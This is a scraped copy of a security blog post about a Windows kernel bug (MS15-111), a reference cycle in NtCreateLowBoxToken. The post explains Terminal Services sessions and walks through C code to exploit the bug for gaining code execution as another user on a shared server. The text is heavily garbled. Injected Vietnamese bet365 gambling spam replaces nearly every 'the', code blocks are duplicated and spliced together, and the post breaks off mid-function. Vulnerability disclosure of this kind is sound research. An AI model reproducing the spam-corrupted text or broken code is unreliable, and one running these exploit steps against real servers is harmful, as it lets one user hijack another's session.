Posted by James Forshaw, your Friendly Neighbourhood Necromancer.
It’s a bit late for Halloween but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ability to resurrect cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 dead (processes that is) is an interesting type of security issue when dealing with multi-user Windows systems such as Terminal Servers. Specifically this blog is about this issue which I reported to Microsoft and was fixed in bulletin MS15-111. On cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 surface it looks like at best this would be a local Denial of Service, in fact Microsoft wasn’t even sure it was a Elevation of Privilege. By cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 post I’ll show why it was an EoP vulnerability, and how you could exploit it.
Terminal Services Background
The original versions of Windows NT (from 3.1) were multi-user in principle. NT could have multiple users interacting on a single workstation or server at one time, however only one user could be logged into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 physical console and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re was no such thing as virtual consoles. This made remote administration of servers tricky (especially with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 amount of functionality only exposed through a GUI) as well as making it impossible to share a computer between multiple users without having to log cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r user out each time.
The solution to this was cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 development of Terminal Services. This wasn’t even developed by Microsoft originally but Citrix. Unfortunately as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 OS was designed expecting only a single GUI session at one time, some clever hacks had to employed to get around cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 problem. In this case cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 development of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 concept of independent Sessions. Since XP, support for multiple Sessions has been included with all released editions; even if you cannot specifically use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 OS as a Terminal Server.
The major change introduced to support Sessions is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel Session Space, represented in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 MM_SESSION_SPACE structure. This structure maintains all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 information about a particular session, including a reference to a kernel Session Object and a list of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 processes within that Session. It also includes information about a special area of Pool Memory which is used to store data for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 GUI of that session. The pool’s virtual address range must be remapped whenever a thread context switch occurs and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current process is in a different Session. This hacky approach is required because cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 GUI was originally designed for a single terminal and so expects memory to be laid out in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same way all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 time. Each Session Space is allocated a 32 bit unique identifier, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Session ID.
To add some extra confusion a Session is usually associated with a Logon Session. Even though cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y share similar names cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y’re not cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same thing. A Logon Session represents a particular logon of a user which is associated with an access token. This is generated by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel when creating a new token with a unique Locally Unique Identifier (LUID) (which is assigned by LSASS). You could have multiple Logon Sessions in a single Session Space (for example this is how UAC works, with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Filtered Token and Elevated Token being separate Logon Sessions) or you could have a Logon Session which spans multiple Session Spaces. There’s also some hard coded Logon Sessions for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Local System and Service Accounts.
How cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se all interact I’ve summarised in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 below diagram.
The final question you might have is how a process is assigned to a session? For that we need to look at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 access token. The kernel TOKEN structure has a SessionId field. This is just a single 32 bit integer which represents cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Session ID. When creating a new process cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel will look up cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 appropriate Session Space based on this number and assign a reference to it to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 EPROCESS::Session field (cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel also adds cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Session Space’s internal process list). We can modify this SessionId field before assigning cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 token to a new process using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 SetTokenInformation API passing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 TokenSessionId information class. You can only do this if you have SeTcbPrivilege which normally means only when running as Local System. It’s worth knowing about as you can use this to spawn interactive processes on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current desktop with a Local System token. For example cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following code will spawn cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 command prompt on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current physical desktop, useful to test Local System elevation of privilege vulnerabilities:
void StartSystemProcessInConsole() {
STARTUPINFO startInfo = { 0 };
PROCESS_INFORMATION procInfo = { 0 };
startInfo.cb = sizeof(startInfo);
HANDLE hToken;
DWORD sessionId = WTSGetActiveConsoleSessionId();
WCHAR cmdline[] = L"cmd.exe";
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS,
STARTUPINFO startInfo = { 0 };
PROCESS_INFORMATION procInfo = { 0 };
startInfo.cb = sizeof(startInfo);
HANDLE hToken;
DWORD sessionId = WTSGetActiveConsoleSessionId();
WCHAR cmdline[] = L"cmd.exe";
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS,
nullptr, SecurityAnonymous, TokenPrimary, &hToken);
SetTokenInformation(hToken, TokenSessionId, &sessionId, sizeof(sessionId));
startInfo.wShowWindow = SW_SHOW;
startInfo.lpDesktop = L"WinSta0\\Default";
if (CreateProcessAsUser(hToken, nullptr, cmdline, nullptr, nullptr, FALSE,
NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE,
nullptr, nullptr, &startInfo, &procInfo)) {
CloseHandle(procInfo.hProcess);
CloseHandle(procInfo.hThread);
}
}
SetTokenInformation(hToken, TokenSessionId, &sessionId, sizeof(sessionId));
startInfo.wShowWindow = SW_SHOW;
startInfo.lpDesktop = L"WinSta0\\Default";
if (CreateProcessAsUser(hToken, nullptr, cmdline, nullptr, nullptr, FALSE,
NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE,
nullptr, nullptr, &startInfo, &procInfo)) {
CloseHandle(procInfo.hProcess);
CloseHandle(procInfo.hThread);
}
}
The Vulnerability
Enough about cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 background, let’s get to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bug itself. You can read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 writeup on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 issue tracker here. The root cause of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 vulnerability is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 NtCreateLowBoxToken system call introduced in Windows 8 to support cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 creation of locked down tokens for Immersive Applications (formerly known as Metro) as well as IE11’s Enhanced Protected Mode.
The LowBox token was an aim to replace cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 older Restricted token present since Windows 2000 with a more consistent and supported set of features. One of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 biggest problems with managing Restricted tokens was allowing access to resources, especially ones which were baked into code cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 developer had little control over.
Take for example named kernel objects such as events. You can create a new named event using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 CreateEvent API or open an existing named event with OpenEvent. Each API takes cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 lpName parameter which specified cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 name of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 event to create. So where does cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 actual name get registered? Under cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 hood cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se APIs call a function, BaseGetNamedObjectDirectory which converts cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 name to a per-session Object Manager Namespace path of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form \Sessions\X\BaseNamedObjects\EVENTNAME, which is passed to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 underlying system call responsible for handling events.
The BaseNamedObjects directory is a securable resource, and is intentionally locked down to prevent heavily restricted processes adding or modifying resources within it. So as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re’s little control over cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 location of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 name (not 100% true, but true enough for this discussion) a low privilege application might fail if it tried to ever create a named resource. If this is in a third party library or component it might cause cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 restricted process to crash or ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rwise misbehave.
When developing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 LowBox token model this was still going to be a problem so Microsoft decided to add a transparent workaround. They did this by adding a new directory, AppContainerNamedObjects to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 per-session directory. When a new AppContainer process is started cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 creator also adds a few new directories for supporting named resources for a specific Package SID (which represents cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 identity of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 LowBox token). The directories have cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir DACL set so only cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 specific LowBox token can access cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m. The BaseGetNamedObjectDirectory function is changed to return this specific directory when running under a LowBox token. This neatly solves cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 problem, for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 most part, and requires no, or at least very little, changes to existing code.
This still leaves one problem, kernel object lifetime. The name of a kernel object only lasts as long as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re’s a reference to that object eicá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel or a user mode handle. When cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 reference count goes to 0 cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 object is destroyed along with its name. The original way of ensuring a named kernel object continues to exist even if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re’s no reference to it is to create cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 object with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 OBJ_PERMANENT flag (or call NtMakePermanentObject). Unfortunately this requires cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 SeCreatePermanentPrivilege which is typically only granted to Local System, not very useful for a user-mode sandbox.
Instead of requiring a system service or weakening cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 existing permanent object support cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 NtCreateLowBoxToken API supports capturing handle references. The system call takes an array of user handles. During token creation cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 system call references each handle and stores cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m in a reference counted structure within cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 TOKEN structure. When a LowBox token is created normally this array is filled with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 AppContainer specific object directories and supporting kernel objects. The references are only released when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 token kernel object is deleted (or any of its duplicates), which effectively means cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y last as long as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 last process exists with that token. This seems a practical solution, effectively cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 lifetime of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel objects necessary for supporting normal operation are self managed. When cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re’s no longer any process which needs cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y’ll be automatically deleted. Of course this functionality is what I abused in issue 483.
The vulnerability is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel didn’t verify what types of kernel objects it was referencing, it just captured cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 handles and that was that. I realized that this might be something which you could exploit to generate a reference cycle which would have some interesting consequences. Specifically we can use this prevent a process from truly be deleted even when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user logged out of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 system. So let’s look at how we might create cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 reference cycle and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n what we could do with it.
Voodoo Magic
The prerequisites for creating a reference cycle is we must be able to get a handle to a kernel object before calling NtCreateLowBoxToken, this kernel object must cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n be able to take a reference to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 lowbox token. There’s two kernel object types which fit this definition, Processes and Threads. For our purposes Threads make cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 most sense. A thread can have an impersonation token set after cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 thread is created. The thread maintains a reference to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 token object so if we assign a LowBox token as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 thread’s impersonation token which has a reference to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 thread itself we get our cycle. Handily cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 thread also maintains a reference to its process, which in turn maintains a reference to both cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Session Space object and its primary token. The following diagram show cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se relationships.
At this point you might think, “Big deal when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user logs out cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process will be terminated so you can’t do anything useful” and you’d be right cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 system will terminate cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process when you log out. That doesn’t mean cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process goes away, all it means is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel stops cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process running, unschedules cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 threads and cleans up cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process’s virtual memory.
Many kernel resources are lazily dereferenced; for example until cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 thread’s kernel object is deleted (by its reference count going to zero) it won’t release its reference to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 token object. In this case cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 token object holds a reference to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 thread, which prevents it being deleted which keeps cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 token alive. Of course cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 thread also keeps cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process around, however from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 systems perspective cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process is dead and buried. The process cannot execute any more code, which is a good thing, but its undead status can still be abused.
An interesting aspect is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process doesn’t show up in applications like Task Manager or Process Explorer, but it’s still cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re, at least cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 remnants of its kernel object. Even if it was visible it’s not possible to terminate, as it’s already terminated. If you know cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process ID of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 terminated process you can reopen it and fix cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 reference cycle, but it’s not possible to even know it exists. It should be reasonably obvious how this could be abused for a local denial of service. Open handles to important resources, such as system files and capture cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 reference cycle. The user can cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n log out and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 only thing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 system administrator could do about it would be to reboot cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server as only a custom tool is able to break cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 reference cycle and free cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 resources. This is pretty boring though, is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re a way of taking this bug and using it to elevate privileges? Of course, but it’ll start to get complicated.
Exploiting for Elevation of Privilege
Before I can start explaining how you can use this vulnerability to elevate privileges I first need to define what I mean by elevation of privilege in this context. Elevating your privilege typically means gaining objectively higher privileges such as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 level of Administrator. But it can equally refer to gaining access to anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r user account. With this in mind cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 goal I’ll set for this exploit is to get arbitrary code running as anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r user on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server.
Of course as I’ve hinted cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re has to be anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r restriction here, that we need ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r users to log in to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same machine while we maintain some level of control. This is only really possible on something like a shared Terminal Server. So in this case we’ll exploit cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bug on a Windows Server 2012 machine with Remote Desktop Services enabled. As Windows Server 2012 is based on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Windows 8 code base it contains cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 vulnerable version of NtCreateLowBoxToken. We can create cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 reference cycle using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following code:
HANDLE CreateToken(HANDLE hProcessToken) {
BOOL bRet = FALSE;
HANDLE hRetToken = nullptr;
HANDLE hThread = CreateThread(nullptr, 0, DummyFunc, nullptr, 0, nullptr);
HANDLE hLowBoxToken;
PSID psid;
ConvertStringSidToSid(L"S-1-15-2-1-1-1-1-1-1-1", &psid);
// Create cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 reference cycle with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 thread handle.
NtCreateLowBoxToken(&hLowBoxToken, hProcessToken, ..., psid,
BOOL bRet = FALSE;
HANDLE hRetToken = nullptr;
HANDLE hThread = CreateThread(nullptr, 0, DummyFunc, nullptr, 0, nullptr);
HANDLE hLowBoxToken;
PSID psid;
ConvertStringSidToSid(L"S-1-15-2-1-1-1-1-1-1-1", &psid);
// Create cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 reference cycle with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 thread handle.
NtCreateLowBoxToken(&hLowBoxToken, hProcessToken, ..., psid,
0, nullptr, &hThread, 1);
HANDLE hImpToken;
DuplicateToken(hLowBoxToken, SecurityImpersonation,
HANDLE hImpToken;
DuplicateToken(hLowBoxToken, SecurityImpersonation,
TokenImpersonation, &hImpToken);
SetThreadToken(&hThread, hImpToken);
return hLowBoxToken;
}
SetThreadToken(&hThread, hImpToken);
return hLowBoxToken;
}
What can we do with this vulnerability which might allow us to achieve cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 stated goal? The first observation is that based on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 reference cycle diagram shown earlier access tokens do not hold a reference to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Session Space which cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 token’s Session ID field refers. If we set cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 reference cycle, log out cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n back in again we can reopen cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 dead process. As cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process's’ primary token is lazily destroyed we can open cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process and take a copy of its token. With this token we can create a new process in a Session Space with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 original ID. As I’ve already mentioned changing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Session ID of an existing token requires TCB privilege, which only Local System gets by default. But of course in this case we’ve already got cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 system to assign cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 original ID, we’re just repurposing it. You could think of this like a Session ID Use-After-Free, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 original Session Space is gone but we still have a reference to a token with that ID. To avoid having to save cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 old process ID somewhere we’ll use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 NtGetNextProcess system call to walk all processes looking for a process we can open but isn’t in our current session.
HANDLE GetOldProcessToken() {
HANDLE hCurr = nullptr;
DWORD dwCurrSession;
ProcessIdToSessionId(GetCurrentProcessId(), &dwCurrSession);
while (NtGetNextProcess(hCurr, MAXIMUM_ALLOWED, 0, 0, &hCurr) == 0) {
DWORD dwPid = GetProcessId(hCurr);
DWORD dwSession = 0;
ProcessIdToSessionId(dwPid, &dwSession);
if (dwSession == dwCurrSession)
continue;
HANDLE hToken;
if (OpenProcessToken(hCurr, MAXIMUM_ALLOWED, &hToken)) {
CloseHandle(hCurr);
return hToken;
}
}
return nullptr;
}
HANDLE hCurr = nullptr;
DWORD dwCurrSession;
ProcessIdToSessionId(GetCurrentProcessId(), &dwCurrSession);
while (NtGetNextProcess(hCurr, MAXIMUM_ALLOWED, 0, 0, &hCurr) == 0) {
DWORD dwPid = GetProcessId(hCurr);
DWORD dwSession = 0;
ProcessIdToSessionId(dwPid, &dwSession);
if (dwSession == dwCurrSession)
continue;
HANDLE hToken;
if (OpenProcessToken(hCurr, MAXIMUM_ALLOWED, &hToken)) {
CloseHandle(hCurr);
return hToken;
}
}
return nullptr;
}
Now at this point we can delete cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 original Session Space by clearing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 impersonation token on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 stuck thread. This breaks cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 reference cycle which causes all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 resources to be closed. This leaves cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Session ID ready to be reused. So at this point cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 malicious user just lays in wait for anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r user to log in to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server resulting in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 system allocating a new Session Space with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 old Session ID. We can use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Terminal Services APIs to enumerate current active sessions until cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Session ID we want is reused.
void WaitForSession(DWORD dwSessionId)
{
BOOL bSessionFound = FALSE;
while (!bSessionFound) {
PWTS_SESSION_INFO pSessions;
DWORD pSessionCount;
WTSEnumerateSessions(WTS_CURRENT_SERVER_HANDLE,
0, 1, &pSessions, &pSessionCount));
for (DWORD i = 0; i < pSessionCount; ++i) {
if ((pSessions[i].SessionId == dwSessionId)
&& (pSessions[i].State == WTSActive)) {
bSessionFound = TRUE;
}
WTSFreeMemory(pSessions);
Sleep(1000);
}
}
{
BOOL bSessionFound = FALSE;
while (!bSessionFound) {
PWTS_SESSION_INFO pSessions;
DWORD pSessionCount;
WTSEnumerateSessions(WTS_CURRENT_SERVER_HANDLE,
0, 1, &pSessions, &pSessionCount));
for (DWORD i = 0; i < pSessionCount; ++i) {
if ((pSessions[i].SessionId == dwSessionId)
&& (pSessions[i].State == WTSActive)) {
bSessionFound = TRUE;
}
WTSFreeMemory(pSessions);
Sleep(1000);
}
}
At this point we can now create a new process in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 newly created Session Space. Unfortunately we’ll immediately hit a snag. As a normal user we don’t have SeAssignPrimaryTokenPrivilege. This means cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel will do a check on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 token being assigned relative to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current process token. This check is done in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 SeIsTokenAssignableToProcess kernel function; it will succeed if eicá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 assigned token is a child of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current process token or it's a sibling token. These relationships are based on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Logon Session LUID as shown in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following diagram.
We can’t satisfy cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 parent/child relationship as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current process token is totally unrelated to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 captured token. We also cannot satisfy cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 sibling token requirement eicá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Auth ID (which is actually cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Logon Session LUID) is different to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current ID. Does this mean we’re stuck? Well of course not, all we need is a system service which will create a new process with our specified token. As cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 system service will have SeAssignPrimaryTokenPrivilege it should succeed. What we’re looking for is something similar to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following code.
void IdealProcessCreator(LPWSTR CommandLine) {
HANDLE hToken;
ImpersonateCaller();
OpenThreadToken(GetCurrentThread(), ..., &hToken);
CreateProcessAsUser(hToken, CommandLine, ...);
}
HANDLE hToken;
ImpersonateCaller();
